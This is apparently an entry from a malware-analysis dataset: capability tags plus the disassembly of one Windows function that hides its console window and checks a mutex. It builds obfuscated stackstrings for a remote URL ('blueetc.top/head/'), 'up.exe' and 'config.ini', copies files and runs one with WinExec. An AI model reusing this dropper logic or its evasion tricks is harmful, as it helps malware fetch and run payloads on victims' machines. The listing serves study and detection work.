Function at 0x4017dc
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Create process on windows
Delete directory
Get memory capacity
Hide graphical window
Identify system language via api
Move file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x518605
mov eax, dword fs:[0]
push eax
sub esp, 0x1d8
mov eax, dword [0x5624d0]
xor eax, esp
mov dword [esp + 0x1d0], eax
push ebx
push esi
push edi
mov eax, dword [0x5624d0]
xor eax, esp
push eax
lea eax, [esp + 0x1e8]
mov dword fs:[0], eax
call fcn.0040152e
test al, al
je 0x40182c
push 0xffffffffffffffff
call fcn.004f7123
push 0
push 0x544810
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0xfffffffffffffff0
call ebx
mov esi, dword [sym.imp.USER32.dll_GetWindowLongW]
push eax
call esi
push 1
push 0x292
push 0x385
push 0x3aa
push 0x393
call ebx
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
mov edi, dword [sym.imp.USER32.dll_GetDC]
push 0
call edi
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push str.test
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 1
call ebx
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
or dword [esp + 0x1f0], 0xffffffff
cmp dword [esp + 0x18], 0
je 0x4018c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401825
push 0x103
lea eax, [esp + 0xd9]
push 0
push eax
mov dword [esp + 0x94], 0x505c3a43
mov dword [esp + 0x98], 0x72676f72
mov dword [esp + 0x9c], 0x46206d61
mov dword [esp + 0xa0], 0x73656c69
mov dword [esp + 0xa4], 0x38782820
mov dword [esp + 0xa8], 0x5c2936
mov byte [esp + 0xe0], 0
call fcn.004f7d50
add esp, 0xc
lea eax, [esp + 0x18]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x312
push 0x33e
call ebx
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0xfffffffffffffff0
call ebx
push eax
call esi
xor edi, edi
push edi
push 0x60
push 0x1b
push edi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
push edi
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x544824
push 0x544830
mov dword [esp + 0x84], 0x64257325
mov dword [esp + 0x88], 0x676e702e
mov byte [esp + 0x8c], 0
call edi
push 0x9b2
call ebx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push 0x5e
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0x54483c
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0x3e8
push 0x39b
mov dword [esp + 0xa8], 0x70747468
mov dword [esp + 0xac], 0x622f2f3a
mov dword [esp + 0xb0], 0x6565756c
mov dword [esp + 0xb4], 0x742e6374
mov dword [esp + 0xb8], 0x682f706f
mov dword [esp + 0xbc], 0x2f646165
mov byte [esp + 0xc0], 0
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0xfffffffffffffff0
call ebx
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 4
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 2
lea eax, [esp + 0xa4]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x544848
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 1
push 0x3ff
push 0x21f
push 0x3fe
push 0x3ab
call ebx
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
lea eax, [esp + 0x3c]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xffffffffffffffeb
call ebx
push eax
call esi
push 0x544850
push 0x54485c
call edi
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0xcc], 0x6c736572
mov dword [esp + 0xd0], 0x642e6269
mov word [esp + 0xd4], 0x6c6c
mov byte [esp + 0xd6], 0
call ebx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x544868
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0x544874
push 0x544880
call edi
push 0xffffffffffffffeb
call ebx
push eax
call esi
push 1
call ebx
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
or dword [esp + 0x1f0], 0xffffffff
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x40]
call fcn.00401ef6
mov dword [esp + 0x1f0], 0x12
lea eax, [esp + 0xd4]
push eax
lea eax, [esp + 0x20]
call fcn.00401ef6
lea eax, [esp + 0xc8]
push eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x24]
push eax
mov byte [esp + 0x1fc], 0x13
call fcn.0040231f
add esp, 0xc
neg al
sbb al, al
inc al
push 1
xor edi, edi
lea esi, [esp + 0x20]
mov byte [esp + 0x1b], al
call fcn.004010fb
or dword [esp + 0x1f0], 0xffffffff
push 1
lea esi, [esp + 0x40]
call fcn.004010fb
cmp byte [esp + 0x17], 0
je 0x401bde
push 0
jmp 0x401827
push 0xbb9
lea eax, [esp + 0xa4]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push esi
push 0x3b
push 0x25
push esi
mov dword [esp + 0xcc], 0x666e6f63
mov dword [esp + 0xd0], 0x692e6769
mov word [esp + 0xd4], 0x696e
mov byte [esp + 0xd6], 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0x36b
push 0x31d
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
or dword [esp + 0x1f0], 0xffffffff
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x40]
call fcn.00401ef6
lea eax, [esp + 0xd4]
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x1f4], 0x1a
call fcn.00401ef6
lea eax, [esp + 0xbc]
push eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x24]
push eax
mov byte [esp + 0x1fc], 0x1b
call fcn.0040231f
add esp, 0xc
neg al
sbb al, al
inc al
push 1
xor edi, edi
lea esi, [esp + 0x20]
mov byte [esp + 0x1b], al
call fcn.004010fb
or dword [esp + 0x1f0], 0xffffffff
push 1
lea esi, [esp + 0x40]
call fcn.004010fb
cmp byte [esp + 0x17], 0
jne 0x401bd7
mov dword [esp + 0x74], 0x652e7075
mov word [esp + 0x78], 0x6578
mov byte [esp + 0x7a], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
push 0x544888
push 0x544894
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call ebx
mov esi, dword [sym.imp.USER32.dll_UpdateWindow]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetACP]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 1
lea eax, [esp + 0xa4]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 1
push 0x139
push 0x35d
push 0x400
push 0x300
call ebx
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea eax, [esp + 0x18]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call ebx
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
or dword [esp + 0x1f0], 0xffffffff
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x40]
call fcn.00401ef6
lea eax, [esp + 0xd4]
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x1f4], 0x22
call fcn.00401ef6
lea eax, [esp + 0x74]
push eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x24]
push eax
mov byte [esp + 0x1fc], 0x23
call fcn.0040231f
add esp, 0xc
neg al
sbb al, al
inc al
push 1
lea esi, [esp + 0x20]
mov byte [esp + 0x1b], al
call fcn.004010fb
or dword [esp + 0x1f0], 0xffffffff
push 1
lea esi, [esp + 0x40]
call fcn.004010fb
cmp byte [esp + 0x17], 0
jne 0x401bd7
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x5c]
call fcn.00401ef6
call dword [sym.imp.KERNEL32.dll_GetACP]
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea eax, [esp + 0x74]
mov dword [esp + 0x1f0], 0x26
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e65
sub eax, edi
lea ecx, [esp + 0x74]
mov edi, eax
push ecx
lea eax, [esp + 0x5c]
call fcn.00401fa6
push esi
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x5448a0
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 1
push 0x5448ac
push 0x5448b8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x18]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [esp + 0x6c], 0x10
mov eax, dword [esp + 0x58]
jae 0x401edb
lea eax, [esp + 0x58]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1d3e
call ebx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
jmp 0x401825